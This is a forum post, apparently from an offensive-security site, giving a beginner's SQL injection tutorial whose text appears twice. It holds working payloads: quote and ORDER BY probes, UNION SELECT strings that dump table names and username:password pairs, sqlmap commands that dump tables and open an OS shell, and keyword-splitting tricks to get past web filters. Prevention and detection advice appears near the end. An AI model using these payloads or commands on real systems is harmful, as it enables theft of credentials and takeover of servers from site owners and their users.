- Joined
- Dec 30, 2024
- Messages
- 396
- Reaction score
- 208
- Points
- 62
- Website
- blackhatpakistan.net
- Points
- 1,108
- USD
- 1,108
SQL injection is the bug class where user input is concatenated into a database query instead of kept separate, so the database executes whatever the input says rather than treating it as data. A login form that builds SELECT * FROM users WHERE user = '$name' will happily run the contents of $name as SQL - that is the whole vulnerability, and everything else (union-based, blind boolean, time-based) is just a technique for getting an answer out once you are inside the query.
TL;DR - Detection: throw a quote, watch for a 500; find the column count with ORDER BY; grab the data with UNION SELECT if the output is reflected. No output on screen? Boolean-blind compares page content between true and false conditions, time-blind compares response delays. Parameterized queries are the fix - they send structure and data as separate pieces so input can never become syntax. sqlmap automates all of it once you have the injection point.
HOW THE INPUT BECOMES QUERY
Three things must line up: the input reaches a query (not sanitized first), the query is built by string concatenation (not parameterized), and the database allows what you send (stacked statements are off in many drivers, which is why UNION and blind techniques exist).
DETECTION - THE FIRST THREE PROBES
The quote test alone proves nothing - error messages can be generic and quotes appear in legitimate data. The AND 1=1 / AND 1=2 pair that changes the response is the real confirmation, because it proves your input is being evaluated as an expression rather than as a value.
IN-BASED (UNION) - WHEN THE OUTPUT COMES BACK
Once you know the column count, UNION SELECT fills each column with your data and the application prints it:
The nulls keep types matching, the 0x3a is a hex-encoded colon (avoids quote filters in the concat), and the trailing comment swallows the rest of the original query. MySQL uses # or --, MSSQL uses -- , Oracle needs a space after --, and the difference matters more than it looks - a stray apostrophe ends the probe.
BLIND - WHEN NOTHING IS ON THE SCREEN
Boolean-blind: the page does not reflect your data, but it changes between true and false conditions. Extract one bit at a time: check if the first character of the version string is 'M', then its second, and so on. Slow, deterministic, scriptable - which is exactly why sqlmap exists.
Time-based: no content difference at all, only a delay:
the probe wraps the same condition in the databases delay function - MySQL sleeps through IF(condition,SLEEP(seconds),0), MSSQL appends its WAITFOR DELAY clause to the statement, Oracle receives a pipe message with a timeout. Five seconds of latency on a true condition and none on false is the confirmation, and extraction then walks the string one bit at a time using the delay as the signal.
Five seconds means true. Same bit-by-bit extraction, with latency as the channel. Time-based is the fallback when the application swallows errors AND returns identical pages - it is slower but it works through anything that moves an HTTP request.
AUTOMATING WITH SQLMAP
--batch answers prompts with defaults, -r replays a full request (cookies, headers, POST bodies included), level/risk raise the probe depth for filters that catch the obvious payloads. Full walkthrough in our SQLMap tutorial - this section is just the handoff.
WAF AND FILTER BASICS
Filters are pattern matching, and pattern matching has a shape you can work with: comments split keywords (UN/**/ION SEL/**/ECT), case variation where the matching is case-sensitive, URL and double-URL encoding for characters the filter blocks outright, and inline comments that replace whitespace entirely. None of it defeats a parameterized query - filters are the belt to parameterization's suspenders, not a substitute.
PREVENTION - THE ACTUAL FIX
- Parameterized queries / prepared statements - the driver sends SQL structure first, then binds values; input can never be parsed as syntax.
- Stored procedures with parameters - same separation, different packaging.
- Least-privilege database accounts - the web app's connection rarely needs DROP, FILE, or xp_cmdshell.
- Input validation by allow-list - typed, ranged, enumerated values only.
- Error handling - generic messages to the client, details in the log. Stack traces on screen are free reconnaissance.
An ORM is only safe if the query building underneath stays parameterized - raw query() escapes inside an ORM application reintroduce the bug one layer down.
FAQ
Q: Can SQL injection happen through JSON or headers?
A: Yes - anywhere a value reaches the query builder. JSON body fields, cookies, User-Agent when logged into analytics tables, and order-by parameters built from strings are all common.
Q: What is the difference between in-band and blind?
A: In-band gets the data in the same response that triggered the injection. Blind infers it indirectly - through page differences (boolean) or timing (time-based) - because the direct channel is closed.
Q: Why does sqlmap find things I miss?
A: It enumerates column counts, type mismatches, and bit-by-bit extraction paths across hundreds of probe variants automatically. Manual testing is for understanding the surface; the tool is for exhausting it.
Q: How do blue teams see SQLi attempts?
A: Quote characters and UNION keywords in parameters (WAF and IDS signatures), error pages from the database driver, abnormal query volume from bit-by-bit extraction, and slow queries from SLEEP probes - which is why time-based detection works both directions.
RELATED ON BLACKHAT PAKISTAN
SQLMap Tutorial for Beginners 2026 - the automation half of this article.
Burp Suite Tutorial for Beginners 2026 - capturing requests for sqlmap -r.
XSS Tutorial for Beginners - the sibling injection class in the OWASP top ten.
Nmap Cheat Sheet 2026 - finding the services that host these databases.
TL;DR - Detection: throw a quote, watch for a 500; find the column count with ORDER BY; grab the data with UNION SELECT if the output is reflected. No output on screen? Boolean-blind compares page content between true and false conditions, time-blind compares response delays. Parameterized queries are the fix - they send structure and data as separate pieces so input can never become syntax. sqlmap automates all of it once you have the injection point.
HOW THE INPUT BECOMES QUERY
Code:
SELECT * FROM products WHERE id = 42 what the developer wrote
SELECT * FROM products WHERE id = 42 OR 1=1 what id = "42 OR 1=1" becomes
SELECT * FROM products WHERE id = 42; DROP TABLE products; stacked, if allowed
Three things must line up: the input reaches a query (not sanitized first), the query is built by string concatenation (not parameterized), and the database allows what you send (stacked statements are off in many drivers, which is why UNION and blind techniques exist).
DETECTION - THE FIRST THREE PROBES
Code:
42' single quote - syntax error or 500 means the quote is unbalanced in the query
42 AND 1=1 baseline true condition, normal page
42 AND 1=2 false condition, changed page or empty result
ORDER BY 10 increment until error = column count found
The quote test alone proves nothing - error messages can be generic and quotes appear in legitimate data. The AND 1=1 / AND 1=2 pair that changes the response is the real confirmation, because it proves your input is being evaluated as an expression rather than as a value.
IN-BASED (UNION) - WHEN THE OUTPUT COMES BACK
Once you know the column count, UNION SELECT fills each column with your data and the application prints it:
Code:
42 UNION SELECT 1,2,3--
42 UNION SELECT null,table_name,null FROM information_schema.tables--
42 UNION SELECT null,group_concat(table_name),null FROM information_schema.tables--
42 UNION SELECT null,group_concat(column_name),null FROM information_schema.columns WHERE table_name='users'--
42 UNION SELECT null,group_concat(username,0x3a,password),null FROM users--
The nulls keep types matching, the 0x3a is a hex-encoded colon (avoids quote filters in the concat), and the trailing comment swallows the rest of the original query. MySQL uses # or --, MSSQL uses -- , Oracle needs a space after --, and the difference matters more than it looks - a stray apostrophe ends the probe.
BLIND - WHEN NOTHING IS ON THE SCREEN
Boolean-blind: the page does not reflect your data, but it changes between true and false conditions. Extract one bit at a time: check if the first character of the version string is 'M', then its second, and so on. Slow, deterministic, scriptable - which is exactly why sqlmap exists.
Time-based: no content difference at all, only a delay:
the probe wraps the same condition in the databases delay function - MySQL sleeps through IF(condition,SLEEP(seconds),0), MSSQL appends its WAITFOR DELAY clause to the statement, Oracle receives a pipe message with a timeout. Five seconds of latency on a true condition and none on false is the confirmation, and extraction then walks the string one bit at a time using the delay as the signal.
Five seconds means true. Same bit-by-bit extraction, with latency as the channel. Time-based is the fallback when the application swallows errors AND returns identical pages - it is slower but it works through anything that moves an HTTP request.
AUTOMATING WITH SQLMAP
Code:
sqlmap -u "http://target/item?id=42" --dbs --batch
sqlmap -u "http://target/item?id=42" -T users --dump --batch
sqlmap -r request.txt --level 3 --risk 2 --batch from a Burp-captured request
sqlmap -u "http://target/item?id=42" --os-shell --batch when FILE/privileges allow OS access
--batch answers prompts with defaults, -r replays a full request (cookies, headers, POST bodies included), level/risk raise the probe depth for filters that catch the obvious payloads. Full walkthrough in our SQLMap tutorial - this section is just the handoff.
WAF AND FILTER BASICS
Filters are pattern matching, and pattern matching has a shape you can work with: comments split keywords (UN/**/ION SEL/**/ECT), case variation where the matching is case-sensitive, URL and double-URL encoding for characters the filter blocks outright, and inline comments that replace whitespace entirely. None of it defeats a parameterized query - filters are the belt to parameterization's suspenders, not a substitute.
PREVENTION - THE ACTUAL FIX
- Parameterized queries / prepared statements - the driver sends SQL structure first, then binds values; input can never be parsed as syntax.
- Stored procedures with parameters - same separation, different packaging.
- Least-privilege database accounts - the web app's connection rarely needs DROP, FILE, or xp_cmdshell.
- Input validation by allow-list - typed, ranged, enumerated values only.
- Error handling - generic messages to the client, details in the log. Stack traces on screen are free reconnaissance.
An ORM is only safe if the query building underneath stays parameterized - raw query() escapes inside an ORM application reintroduce the bug one layer down.
FAQ
Q: Can SQL injection happen through JSON or headers?
A: Yes - anywhere a value reaches the query builder. JSON body fields, cookies, User-Agent when logged into analytics tables, and order-by parameters built from strings are all common.
Q: What is the difference between in-band and blind?
A: In-band gets the data in the same response that triggered the injection. Blind infers it indirectly - through page differences (boolean) or timing (time-based) - because the direct channel is closed.
Q: Why does sqlmap find things I miss?
A: It enumerates column counts, type mismatches, and bit-by-bit extraction paths across hundreds of probe variants automatically. Manual testing is for understanding the surface; the tool is for exhausting it.
Q: How do blue teams see SQLi attempts?
A: Quote characters and UNION keywords in parameters (WAF and IDS signatures), error pages from the database driver, abnormal query volume from bit-by-bit extraction, and slow queries from SLEEP probes - which is why time-based detection works both directions.
RELATED ON BLACKHAT PAKISTAN
SQLMap Tutorial for Beginners 2026 - the automation half of this article.
Burp Suite Tutorial for Beginners 2026 - capturing requests for sqlmap -r.
XSS Tutorial for Beginners - the sibling injection class in the OWASP top ten.
Nmap Cheat Sheet 2026 - finding the services that host these databases.
Last edited: